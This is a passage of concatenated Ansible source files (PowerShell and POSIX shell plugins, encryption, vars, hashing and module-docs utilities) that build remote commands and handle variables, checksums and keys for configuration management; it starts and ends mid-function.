        return self._encode_script('''(New-Item -Type Directory -Path $env:temp -Name "%s").FullName | Write-Host -Separator '';''' % basefile)

    def expand_user(self, user_home_path):
        # PowerShell only supports "~" (not "~username").  Resolve-Path ~ does
        # not seem to work remotely, though by default we are always starting
        # in the user's home directory.
        user_home_path = self._unquote(user_home_path)
        if user_home_path == '~':
            script = 'Write-Host (Get-Location).Path'
        elif user_home_path.startswith('~\\'):
            script = 'Write-Host ((Get-Location).Path + "%s")' % self._escape(user_home_path[1:])
        else:
            script = 'Write-Host "%s"' % self._escape(user_home_path)
        return self._encode_script(script)

    def exists(self, path):
        path = self._escape(self._unquote(path))
        script = '''
            If (Test-Path "%s")
            {
                $res = 0;
            }
            Else
            {
                $res = 1;
            }
            Write-Host "$res";
            Exit $res;
         ''' % path
        return self._encode_script(script)

    def checksum(self, path, *args, **kwargs):
        path = self._escape(self._unquote(path))
        script = '''
            If (Test-Path -PathType Leaf "%(path)s")
            {
                $sp = new-object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider;
                $fp = [System.IO.File]::Open("%(path)s", [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read);
                [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
                $fp.Dispose();
            }
            ElseIf (Test-Path -PathType Container "%(path)s")
            {
                Write-Host "3";
            }
            Else
            {
                Write-Host "1";
            }
        ''' % dict(path=path)
        return self._encode_script(script)

    def build_module_command(self, env_string, shebang, cmd, arg_path=None, rm_tmp=None):
        cmd_parts = shlex.split(to_bytes(cmd), posix=False)
        cmd_parts = map(to_unicode, cmd_parts)
        if shebang and shebang.lower() == '#!powershell':
            if not self._unquote(cmd_parts[0]).lower().endswith('.ps1'):
                cmd_parts[0] = '"%s.ps1"' % self._unquote(cmd_parts[0])
            cmd_parts.insert(0, '&')
        elif shebang and shebang.startswith('#!'):
            cmd_parts.insert(0, shebang[2:])
        elif not shebang:
            # The module is assumed to be a binary
            cmd_parts[0] = self._unquote(cmd_parts[0])
            cmd_parts.append(arg_path)
        script = '''
            Try
            {
                %s
            }
            Catch
            {
                $_obj = @{ failed = $true }
                If ($_.Exception.GetType)
                {
                    $_obj.Add('msg', $_.Exception.Message)
                }
                Else
                {
                    $_obj.Add('msg', $_.ToString())
                }
                If ($_.InvocationInfo.PositionMessage)
                {
                    $_obj.Add('exception', $_.InvocationInfo.PositionMessage)
                }
                ElseIf ($_.ScriptStackTrace)
                {
                    $_obj.Add('exception', $_.ScriptStackTrace)
                }
                Try
                {
                    $_obj.Add('error_record', ($_ | ConvertTo-Json | ConvertFrom-Json))
                }
                Catch
                {
                }
                Echo $_obj | ConvertTo-Json -Compress -Depth 99
                Exit 1
            }
        ''' % (' '.join(cmd_parts))
        if rm_tmp:
            rm_tmp = self._escape(self._unquote(rm_tmp))
            rm_cmd = 'Remove-Item "%s" -Force -Recurse -ErrorAction SilentlyContinue' % rm_tmp
            script = '%s\nFinally { %s }' % (script, rm_cmd)
        return self._encode_script(script)

    def _unquote(self, value):
        '''Remove any matching quotes that wrap the given value.'''
        value = to_unicode(value or '')
        m = re.match(r'^\s*?\'(.*?)\'\s*?$', value)
        if m:
            return m.group(1)
        m = re.match(r'^\s*?"(.*?)"\s*?$', value)
        if m:
            return m.group(1)
        return value

    def _escape(self, value, include_vars=False):
        '''Return value escaped for use in PowerShell command.'''
        # http://www.techotopia.com/index.php/Windows_PowerShell_1.0_String_Quoting_and_Escape_Sequences
        # http://stackoverflow.com/questions/764360/a-list-of-string-replacements-in-python
        subs = [('\n', '`n'), ('\r', '`r'), ('\t', '`t'), ('\a', '`a'),
                ('\b', '`b'), ('\f', '`f'), ('\v', '`v'), ('"', '`"'),
                ('\'', '`\''), ('`', '``'), ('\x00', '`0')]
        if include_vars:
            subs.append(('$', '`$'))
        pattern = '|'.join('(%s)' % re.escape(p) for p, s in subs)
        substs = [s for p, s in subs]
        replace = lambda m: substs[m.lastindex - 1]
        return re.sub(pattern, replace, value)

    def _encode_script(self, script, as_list=False, strict_mode=True):
        '''Convert a PowerShell script to a single base64-encoded command.'''
        script = to_unicode(script)
        if strict_mode:
            script = u'Set-StrictMode -Version Latest\r\n%s' % script
        script = '\n'.join([x.strip() for x in script.splitlines() if x.strip()])
        encoded_script = base64.b64encode(script.encode('utf-16-le'))
        cmd_parts = _common_args + ['-EncodedCommand', encoded_script]
        if as_list:
            return cmd_parts
        return ' '.join(cmd_parts)






# (c) 2016 RedHat
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import re
import pipes
import ansible.constants as C
import time
import random

from ansible.compat.six import text_type

_USER_HOME_PATH_RE = re.compile(r'^~[_.A-Za-z0-9][-_.A-Za-z0-9]*$')

class ShellBase(object):

    def __init__(self):
        self.env = dict()
        if C.DEFAULT_MODULE_SET_LOCALE:
            self.env.update(
                dict(
                    LANG        = C.DEFAULT_MODULE_LANG,
                    LC_ALL      = C.DEFAULT_MODULE_LANG,
                    LC_MESSAGES = C.DEFAULT_MODULE_LANG,
                )
            )

    def env_prefix(self, **kwargs):
        env = self.env.copy()
        env.update(kwargs)
        return ' '.join(['%s=%s' % (k, pipes.quote(text_type(v))) for k,v in env.items()])

    def join_path(self, *args):
        return os.path.join(*args)

    # some shells (eg, powershell) are snooty about filenames/extensions, this lets the shell plugin have a say
    def get_remote_filename(self, pathname):
        base_name = os.path.basename(pathname.strip())
        return base_name.strip()

    def path_has_trailing_slash(self, path):
        return path.endswith('/')

    def chmod(self, paths, mode):
        cmd = ['chmod', mode]
        cmd.extend(paths)
        cmd = [pipes.quote(c) for c in cmd]

        return ' '.join(cmd)

    def chown(self, paths, user):
        cmd = ['chown', user]
        cmd.extend(paths)
        cmd = [pipes.quote(c) for c in cmd]

        return ' '.join(cmd)

    def set_user_facl(self, paths, user, mode):
        """Only sets acls for users as that's really all we need"""
        cmd = ['setfacl', '-m', 'u:%s:%s' % (user, mode)]
        cmd.extend(paths)
        cmd = [pipes.quote(c) for c in cmd]

        return ' '.join(cmd)

    def remove(self, path, recurse=False):
        path = pipes.quote(path)
        cmd = 'rm -f '
        if recurse:
            cmd += '-r '
        return cmd + "%s %s" % (path, self._SHELL_REDIRECT_ALLNULL)

    def exists(self, path):
        cmd = ['test', '-e', pipes.quote(path)]
        return ' '.join(cmd)

    def mkdtemp(self, basefile=None, system=False, mode=None):
        if not basefile:
            basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))

        # When system is specified we have to create this in a directory where
        # other users can read and access the temp directory.  This is because
        # we use system to create tmp dirs for unprivileged users who are
        # sudo'ing to a second unprivileged user.  The only dirctories where
        # that is standard are the tmp dirs, /tmp and /var/tmp.  So we only
        # allow one of those two locations if system=True.  However, users
        # might want to have some say over which of /tmp or /var/tmp is used
        # (because /tmp may be a tmpfs and want to conserve RAM or persist the
        # tmp files beyond a reboot.  So we check if the user set REMOTE_TMP
        # to somewhere in or below /var/tmp and if so use /var/tmp.  If
        # anything else we use /tmp (because /tmp is specified by POSIX nad
        # /var/tmp is not).
        if system:
            if C.DEFAULT_REMOTE_TMP.startswith('/var/tmp'):
                basetmpdir = '/var/tmp'
            else:
                basetmpdir = '/tmp'
        else:
            basetmpdir = C.DEFAULT_REMOTE_TMP
        basetmp = self.join_path(basetmpdir, basefile)

        cmd = 'mkdir -p %s echo %s %s' % (self._SHELL_SUB_LEFT, basetmp, self._SHELL_SUB_RIGHT)
        cmd += ' %s echo %s=%s echo %s %s' % (self._SHELL_AND, basefile, self._SHELL_SUB_LEFT, basetmp, self._SHELL_SUB_RIGHT)

        # change the umask in a subshell to achieve the desired mode
        # also for directories created with `mkdir -p`
        if mode:
            tmp_umask = 0o777 & ~mode
            cmd = '%s umask %o %s %s %s' % (self._SHELL_GROUP_LEFT, tmp_umask, self._SHELL_AND, cmd, self._SHELL_GROUP_RIGHT)

        return cmd

    def expand_user(self, user_home_path):
        ''' Return a command to expand tildes in a path

        It can be either "~" or "~username".  We use the POSIX definition of
        a username:
            http://pubs.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap03.html#tag_03_426
            http://pubs.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap03.html#tag_03_276
        '''

        # Check that the user_path to expand is safe
        if user_home_path != '~':
            if not _USER_HOME_PATH_RE.match(user_home_path):
                # pipes.quote will make the shell return the string verbatim
                user_home_path = pipes.quote(user_home_path)
        return 'echo %s' % user_home_path

    def build_module_command(self, env_string, shebang, cmd, arg_path=None, rm_tmp=None):
        # don't quote the cmd if it's an empty string, because this will break pipelining mode
        if cmd.strip() != '':
            cmd = pipes.quote(cmd)

        cmd_parts = []
        if shebang:
            shebang = shebang.replace("#!", "").strip()
        else:
            shebang = ""
        cmd_parts.extend([env_string.strip(), shebang, cmd])
        if arg_path is not None:
            cmd_parts.append(arg_path)
        new_cmd = " ".join(cmd_parts)
        if rm_tmp:
            new_cmd = '%s; rm -rf "%s" %s' % (new_cmd, rm_tmp, self._SHELL_REDIRECT_ALLNULL)
        return new_cmd

    def append_command(self, cmd, cmd_to_append):
        """Append an additional command if supported by the shell"""

        if self._SHELL_AND:
            cmd += ' %s %s' % (self._SHELL_AND, cmd_to_append)

        return cmd






# (c) 2014, Chris Church <chris@ninemoreminutes.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import pipes

from ansible.plugins.shell import ShellBase


class ShellModule(ShellBase):

    # Common shell filenames that this plugin handles.
    # Note: sh is the default shell plugin so this plugin may also be selected
    # if the filename is not listed in any Shell plugin.
    COMPATIBLE_SHELLS = frozenset(('sh', 'zsh', 'bash', 'dash', 'ksh'))
    # Family of shells this has.  Must match the filename without extension
    SHELL_FAMILY = 'sh'

    # How to end lines in a python script one-liner
    _SHELL_EMBEDDED_PY_EOL = '\n'
    _SHELL_REDIRECT_ALLNULL = '> /dev/null 2>&1'
    _SHELL_AND = '&&'
    _SHELL_OR = '||'
    _SHELL_SUB_LEFT = '"`'
    _SHELL_SUB_RIGHT = '`"'
    _SHELL_GROUP_LEFT = '('
    _SHELL_GROUP_RIGHT = ')'


    def checksum(self, path, python_interp):
        # The following test needs to be SH-compliant.  BASH-isms will
        # not work if /bin/sh points to a non-BASH shell.
        #
        # In the following test, each condition is a check and logical
        # comparison (|| or &&) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # "one-liner".
        shell_escaped_path = pipes.quote(path)
        test = "rc=flag; [ -r %(p)s ] %(shell_or)s rc=2; [ -f %(p)s ] %(shell_or)s rc=1; [ -d %(p)s ] %(shell_and)s rc=3; %(i)s -V 2>/dev/null %(shell_or)s rc=4; [ x\"$rc\" != \"xflag\" ] %(shell_and)s echo \"${rc}  \"%(p)s %(shell_and)s exit 0" % dict(p=shell_escaped_path, i=python_interp, shell_and=self._SHELL_AND, shell_or=self._SHELL_OR)
        csums = [
            u"({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\"'{1}'\", \"rb\"){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python > 2.4 (including python3)
            u"({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\"'{1}'\", \"rb\"){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python == 2.4
        ]

        cmd = (" %s " % self._SHELL_OR).join(csums)
        cmd = "%s; %s %s (echo \'0  \'%s)" % (test, cmd, self._SHELL_OR, shell_escaped_path)
        return cmd







# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from collections import Iterable

from ansible.compat.six import string_types

from ansible.template import Templar
from ansible.template.safe_eval import safe_eval

__all__ = ['listify_lookup_plugin_terms']

def listify_lookup_plugin_terms(terms, templar, loader, fail_on_undefined=False, convert_bare=True):

    if isinstance(terms, string_types):
        # TODO: warn/deprecation on bare vars in with_ so we can eventually remove fail on undefined override
        terms = templar.template(terms.strip(), convert_bare=convert_bare, fail_on_undefined=fail_on_undefined)
    else:
        terms = templar.template(terms, fail_on_undefined=fail_on_undefined)

    if isinstance(terms, string_types) or not isinstance(terms, Iterable):
        terms = [ terms ]

    return terms






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


import os
import stat
import tempfile
import multiprocessing
import time
import warnings

PASSLIB_AVAILABLE = False
try:
    import passlib.hash
    PASSLIB_AVAILABLE = True
except:
    pass

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

KEYCZAR_AVAILABLE=False
try:
    try:
        # some versions of pycrypto may not have this?
        from Crypto.pct_warnings import PowmInsecureWarning
    except ImportError:
        PowmInsecureWarning = RuntimeWarning

    with warnings.catch_warnings(record=True) as warning_handler:
        warnings.simplefilter("error", PowmInsecureWarning)
        try:
            import keyczar.errors as key_errors
            from keyczar.keys import AesKey
        except PowmInsecureWarning:
            display.system_warning(
                "The version of gmp you have installed has a known issue regarding " + \
                "timing vulnerabilities when used with pycrypto. " + \
                "If possible, you should update it (i.e. yum update gmp)."
            )
            warnings.resetwarnings()
            warnings.simplefilter("ignore")
            import keyczar.errors as key_errors
            from keyczar.keys import AesKey
        KEYCZAR_AVAILABLE=True
except ImportError:
    pass

from ansible import constants as C
from ansible.errors import AnsibleError

__all__ = ['do_encrypt']

_LOCK = multiprocessing.Lock()


def do_encrypt(result, encrypt, salt_size=None, salt=None):
    if PASSLIB_AVAILABLE:
        try:
            crypt = getattr(passlib.hash, encrypt)
        except:
            raise AnsibleError("passlib does not support '%s' algorithm" % encrypt)

        if salt_size:
            result = crypt.encrypt(result, salt_size=salt_size)
        elif salt:
            result = crypt.encrypt(result, salt=salt)
        else:
            result = crypt.encrypt(result)
    else:
        raise AnsibleError("passlib must be installed to encrypt vars_prompt values")

    return result

def key_for_hostname(hostname):
    # fireball mode is an implementation of ansible firing up zeromq via SSH
    # to use no persistent daemons or key management

    if not KEYCZAR_AVAILABLE:
        raise AnsibleError("python-keyczar must be installed on the control machine to use accelerated modes")

    key_path = os.path.expanduser(C.ACCELERATE_KEYS_DIR)
    if not os.path.exists(key_path):
        # avoid race with multiple forks trying to create paths on host
        # but limit when locking is needed to creation only
        with(_LOCK):
            if not os.path.exists(key_path):
                # use a temp directory and rename to ensure the directory
                # searched for only appears after permissions applied.
                tmp_dir = tempfile.mkdtemp(dir=os.path.dirname(key_path))
                os.chmod(tmp_dir, int(C.ACCELERATE_KEYS_DIR_PERMS, 8))
                os.rename(tmp_dir, key_path)
    elif not os.path.isdir(key_path):
        raise AnsibleError('ACCELERATE_KEYS_DIR is not a directory.')

    if stat.S_IMODE(os.stat(key_path).st_mode) != int(C.ACCELERATE_KEYS_DIR_PERMS, 8):
        raise AnsibleError('Incorrect permissions on the private key directory. Use `chmod 0%o %s` to correct this issue, and make sure any of the keys files contained within that directory are set to 0%o' % (int(C.ACCELERATE_KEYS_DIR_PERMS, 8), C.ACCELERATE_KEYS_DIR, int(C.ACCELERATE_KEYS_FILE_PERMS, 8)))

    key_path = os.path.join(key_path, hostname)

    # use new AES keys every 2 hours, which means fireball must not allow running for longer either
    if not os.path.exists(key_path) or (time.time() - os.path.getmtime(key_path) > 60*60*2):
        # avoid race with multiple forks trying to create key
        # but limit when locking is needed to creation only
        with(_LOCK):
            if not os.path.exists(key_path) or (time.time() - os.path.getmtime(key_path) > 60*60*2):
                key = AesKey.Generate()
                # use temp file to ensure file only appears once it has
                # desired contents and permissions
                with tempfile.NamedTemporaryFile(mode='w', dir=os.path.dirname(key_path), delete=False) as fh:
                    tmp_key_path = fh.name
                    fh.write(str(key))
                os.chmod(tmp_key_path, int(C.ACCELERATE_KEYS_FILE_PERMS, 8))
                os.rename(tmp_key_path, key_path)
                return key

    if stat.S_IMODE(os.stat(key_path).st_mode) != int(C.ACCELERATE_KEYS_FILE_PERMS, 8):
        raise AnsibleError('Incorrect permissions on the key file for this host. Use `chmod 0%o %s` to correct this issue.' % (int(C.ACCELERATE_KEYS_FILE_PERMS, 8), key_path))
    fh = open(key_path)
    key = AesKey.Read(fh.read())
    fh.close()
    return key

def keyczar_encrypt(key, msg):
    return key.Encrypt(msg.encode('utf-8'))

def keyczar_decrypt(key, msg):
    try:
        return key.Decrypt(msg)
    except key_errors.InvalidSignatureError:
        raise AnsibleError("decryption failed")







# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import sys
import shlex
import subprocess
import select

def run_cmd(cmd, live=False, readsize=10):

    #readsize = 10

    cmdargs = shlex.split(cmd)
    p = subprocess.Popen(cmdargs, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    stdout = ''
    stderr = ''
    rpipes = [p.stdout, p.stderr]
    while True:
        rfd, wfd, efd = select.select(rpipes, [], rpipes, 1)

        if p.stdout in rfd:
            dat = os.read(p.stdout.fileno(), readsize)
            if live:
                sys.stdout.write(dat)
            stdout += dat
            if dat == '':
                rpipes.remove(p.stdout)
        if p.stderr in rfd:
            dat = os.read(p.stderr.fileno(), readsize)
            stderr += dat
            if live:
                sys.stdout.write(dat)
            if dat == '':
                rpipes.remove(p.stderr)
        # only break out if we've emptied the pipes, or there is nothing to
        # read from and the process has finished.
        if (not rpipes or not rfd) and p.poll() is not None:
            break
        # Calling wait while there are still pipes to read can cause a lock
        elif not rpipes and p.poll() == None:
            p.wait()

    return p.returncode, stdout, stderr






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import ast
from json import dumps
from collections import MutableMapping

from ansible.compat.six import iteritems, string_types

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.parsing.splitter import parse_kv
from ansible.utils.unicode import to_unicode, to_str


def _validate_mutable_mappings(a, b):
    """
    Internal convenience function to ensure arguments are MutableMappings

    This checks that all arguments are MutableMappings or raises an error

    :raises AnsibleError: if one of the arguments is not a MutableMapping
    """

    # If this becomes generally needed, change the signature to operate on
    # a variable number of arguments instead.

    if not (isinstance(a, MutableMapping) and isinstance(b, MutableMapping)):
        myvars = []
        for x in [a, b]:
            try:
                myvars.append(dumps(x))
            except:
                myvars.append(to_str(x))
        raise AnsibleError("failed to combine variables, expected dicts but got a '{0}' and a '{1}': \n{2}\n{3}".format(
            a.__class__.__name__, b.__class__.__name__, myvars[0], myvars[1])
        )

def combine_vars(a, b):
    """
    Return a copy of dictionaries of variables based on configured hash behavior
    """

    if C.DEFAULT_HASH_BEHAVIOUR == "merge":
        return merge_hash(a, b)
    else:
        # HASH_BEHAVIOUR == 'replace'
        _validate_mutable_mappings(a, b)
        result = a.copy()
        result.update(b)
        return result

def merge_hash(a, b):
    """
    Recursively merges hash b into a so that keys from b take precedence over keys from a
    """

    _validate_mutable_mappings(a, b)

    # if a is empty or equal to b, return b
    if a == {} or a == b:
        return b.copy()

    # if b is empty the below unfolds quickly
    result = a.copy()

    # next, iterate over b keys and values
    for k, v in iteritems(b):
        # if there's already such key in a
        # and that key contains a MutableMapping
        if k in result and isinstance(result[k], MutableMapping) and isinstance(v, MutableMapping):
            # merge those dicts recursively
            result[k] = merge_hash(result[k], v)
        else:
            # otherwise, just copy the value from b to a
            result[k] = v

    return result

def load_extra_vars(loader, options):
    extra_vars = {}
    for extra_vars_opt in options.extra_vars:
        extra_vars_opt = to_unicode(extra_vars_opt, errors='strict')
        if extra_vars_opt.startswith(u"@"):
            # Argument is a YAML file (JSON is a subset of YAML)
            data = loader.load_from_file(extra_vars_opt[1:])
        elif extra_vars_opt and extra_vars_opt[0] in u'[{':
            # Arguments as YAML
            data = loader.load(extra_vars_opt)
        else:
            # Arguments as Key-value
            data = parse_kv(extra_vars_opt)
        extra_vars = combine_vars(extra_vars, data)
    return extra_vars

def load_options_vars(options):
    options_vars = {}
    # For now only return check mode, but we can easily return more
    # options if we need variables for them
    options_vars['ansible_check_mode'] = options.check
    return options_vars

def isidentifier(ident):
    """
    Determines, if string is valid Python identifier using the ast module.
    Orignally posted at: http://stackoverflow.com/a/29586366
    """

    if not isinstance(ident, string_types):
        return False

    try:
        root = ast.parse(ident)
    except SyntaxError:
        return False

    if not isinstance(root, ast.Module):
        return False

    if len(root.body) != 1:
        return False

    if not isinstance(root.body[0], ast.Expr):
        return False

    if not isinstance(root.body[0].value, ast.Name):
        return False

    if root.body[0].value.id != ident:
        return False

    return True







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

# Note, sha1 is the only hash algorithm compatible with python2.4 and with
# FIPS-140 mode (as of 11-2014)
try:
    from hashlib import sha1 as sha1
except ImportError:
    from sha import sha as sha1

# Backwards compat only
try:
    from hashlib import md5 as _md5
except ImportError:
    try:
        from md5 import md5 as _md5
    except ImportError:
        # Assume we're running in FIPS mode here
        _md5 = None

from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.utils.unicode import to_bytes

def secure_hash_s(data, hash_func=sha1):
    ''' Return a secure hash hex digest of data. '''

    digest = hash_func()
    try:
        if not isinstance(data, string_types):
            data = "%s" % data
        digest.update(data)
    except UnicodeEncodeError:
        digest.update(data.encode('utf-8'))
    return digest.hexdigest()

def secure_hash(filename, hash_func=sha1):
    ''' Return a secure hash hex digest of local file, None if file is not present or a directory. '''

    if not os.path.exists(to_bytes(filename, errors='strict')) or os.path.isdir(to_bytes(filename, errors='strict')):
        return None
    digest = hash_func()
    blocksize = 64 * 1024
    try:
        infile = open(to_bytes(filename, errors='strict'), 'rb')
        block = infile.read(blocksize)
        while block:
            digest.update(block)
            block = infile.read(blocksize)
        infile.close()
    except IOError as e:
        raise AnsibleError("error while accessing the file %s, error was: %s" % (filename, e))
    return digest.hexdigest()

# The checksum algorithm must match with the algorithm in ShellModule.checksum() method
checksum = secure_hash
checksum_s = secure_hash_s

# Backwards compat functions.  Some modules include md5s in their return values
# Continue to support that for now.  As of ansible-1.8, all of those modules
# should also return "checksum" (sha1 for now)
# Do not use md5 unless it is needed for:
# 1) Optional backwards compatibility
# 2) Compliance with a third party protocol
#
# MD5 will not work on systems which are FIPS-140-2 compliant.

def md5s(data):
    if not _md5:
        raise ValueError('MD5 not available.  Possibly running in FIPS mode')
    return secure_hash_s(data, _md5)

def md5(filename):
    if not _md5:
        raise ValueError('MD5 not available.  Possibly running in FIPS mode')
    return secure_hash(filename, _md5)







#!/usr/bin/env python
# (c) 2012, Jan-Piet Mens <jpmens () gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import sys
import ast
import traceback

from collections import MutableMapping, MutableSet, MutableSequence

from ansible.compat.six import string_types
from ansible.parsing.yaml.loader import AnsibleLoader
from ansible.plugins import fragment_loader

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

# modules that are ok that they do not have documentation strings
BLACKLIST_MODULES = frozenset((
   'async_wrapper',
   'accelerate',
   'fireball',
))

def get_docstring(filename, verbose=False):
    """
    Search for assignment of the DOCUMENTATION and EXAMPLES variables
    in the given file.
    Parse DOCUMENTATION from YAML and return the YAML doc or None
    together with EXAMPLES, as plain text.

    DOCUMENTATION can be extended using documentation fragments
    loaded by the PluginLoader from the module_docs_fragments
    directory.
    """

    doc = None
    plainexamples = None
    returndocs = None

    try:
        # Thank you, Habbie, for this bit of code :-)
        M = ast.parse(''.join(open(filename)))
        for child in M.body:
            if isinstance(child, ast.Assign):
                for t in child.targets:
                    try:
                        theid = t.id
                    except AttributeError as e:
                        # skip errors can happen when trying to use the normal code
                        display.warning("Failed to assign id for %s on %s, skipping" % (t, filename))
                        continue

                    if 'DOCUMENTATION' in theid:
                        doc = AnsibleLoader(child.value.s, file_name=filename).get_single_data()
                        fragments = doc.get('extends_documentation_fragment', [])

                        if isinstance(fragments, string_types):
                            fragments = [ fragments ]

                        # Allow the module to specify a var other than DOCUMENTATION
                        # to pull the fragment from, using dot notation as a separator
                        for fragment_slug in fragments:
                            fragment_slug = fragment_slug.lower()
                            if '.' in fragment_slug:
                                fragment_name, fragment_var = fragment_slug.split('.', 1)
                                fragment_var = fragment_var.upper()
                            else:
                                fragment_name, fragment_var = fragment_slug, 'DOCUMENTATION'

                            fragment_class = fragment_loader.get(fragment_name)
                            assert fragment_class is not None

                            fragment_yaml = getattr(fragment_class, fragment_var, '{}')
                            fragment = AnsibleLoader(fragment_yaml, file_name=filename).get_single_data()

                            if fragment.has_key('notes'):
                                notes = fragment.pop('notes')
                                if notes:
                                    if not doc.has_key('notes'):
                                        doc['notes'] = []
                                    doc['notes'].extend(notes)

                            if 'options' not in fragment.keys():
                                raise Exception("missing options in fragment, possibly misformatted?")

                            for key, value in fragment.items():
                                if not doc.has_key(key):
                                    doc[key] = value
                                else:
                                    if isinstance(doc[key], MutableMapping):
                                        doc[key].update(value)
